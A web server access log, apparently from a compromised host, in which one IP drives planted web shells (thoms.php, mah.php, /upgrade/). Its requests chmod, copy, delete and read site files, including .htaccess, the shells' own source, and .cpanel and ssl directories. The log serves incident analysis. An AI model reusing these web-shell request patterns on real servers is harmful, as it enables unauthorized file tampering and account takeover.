45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?chmod=bestjudy.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?chmod=bfl.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?chmod=big-wife.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17348 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?chmod=betcity.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 15902 "http://163.245.207.76:443/thoms.php?del=ba-guo.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?del=cgi-bin&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11426 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?chmod=bioway88.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=bossini.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 12532 "http://163.245.207.76:443/thoms.php?p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?p=&view=error_log HTTP/1.1" 200 12154 "http://163.245.207.76:443/thoms.php?p=&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?chmod=bestzyx.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 11605 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 15915 "http://163.245.207.76:443/thoms.php?del=bft.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 11597 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?copy=cgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?del=thoms.php&p= HTTP/1.1" 200 15907 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:44 -0400] "GET /wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 19200137 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 11598 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?chmod=mah.php&p= HTTP/1.1" 200 11424 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /thoms.php?dl=thoms.php&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:45 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:46 -0400] "GET /thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 11596 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 11558 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?p=&view=mah.php HTTP/1.1" 200 11766 "http://163.245.207.76:443/thoms.php?p=&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 11320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?chmod=bogroup.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 11597 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 15915 "http://163.245.207.76:443/thoms.php?del=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?chmod=beauty-dental.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?chmod=biotaiwan.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17427 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 15916 "http://163.245.207.76:443/thoms.php?del=bfl.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 12164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /wp-content/ HTTP/1.1" 200 755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:11 -0400] "GET /thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /thoms.php?p=&view=thoms.php HTTP/1.1" 200 11763 "http://163.245.207.76:443/thoms.php?p=&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 11609 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /thoms.php?del=.htaccess&p= HTTP/1.1" 200 15746 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11428 "http://163.245.207.76:443/thoms.php?chmod=bft.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wp-content/?ND= HTTP/1.1" 200 755 "http://163.245.207.76:443/wp-content/?ND=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wp-content/?MA= HTTP/1.1" 200 755 "http://163.245.207.76:443/wp-content/?MA=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wp-content/?SA= HTTP/1.1" 200 755 "http://163.245.207.76:443/wp-content/?SA=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wp-content/themes/ HTTP/1.1" 200 770 "http://163.245.207.76:443/wp-content/themes/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /bft.com.tw/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1" 200 30412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /bft.com.tw/wp-admin/js/language-chooser.min.js?ver=7.1 HTTP/1.1" 200 272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /bft.com.tw/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1" 200 4870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1" 200 4870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/js/language-chooser.min.js?ver=6.6.2 HTTP/1.1" 200 272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1" 200 30412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /bft.com.tw/?step=0 HTTP/1.1" 302 0 "http://163.245.207.76:443/bft.com.tw/?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /wordpress-6.6.2-zh_TW/setup-config.php?language=zh_TW&step=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/wordpress-6.6.2-zh_TW/setup-config.php?language=zh_TW&step=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.imunify_patch_id&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8021 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.imunify_patch_id&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:12 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4560 "https://163.245.207.76:443/bft.com.tw/?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_logout&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7934 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_logout&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bashrc&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8258 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bashrc&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.myimunify_id&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8017 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.myimunify_id&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinboxenable&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7936 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinboxenable&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.wp-toolkit-identifier&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8593 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.wp-toolkit-identifier&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 20469 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 52185 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav HTTP/1.1" 200 6260 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.caldav" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor HTTP/1.1" 200 6635 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.razor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache HTTP/1.1" 200 6163 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Flscache" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl HTTP/1.1" 200 6503 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fssl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash HTTP/1.1" 200 6126 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.trash" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Faccess-logs HTTP/1.1" 200 8224 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Faccess-logs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:13 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=file HTTP/1.1" 200 7891 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinenable&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7930 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinenable&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=folder HTTP/1.1" 200 7893 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel HTTP/1.1" 200 6638 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
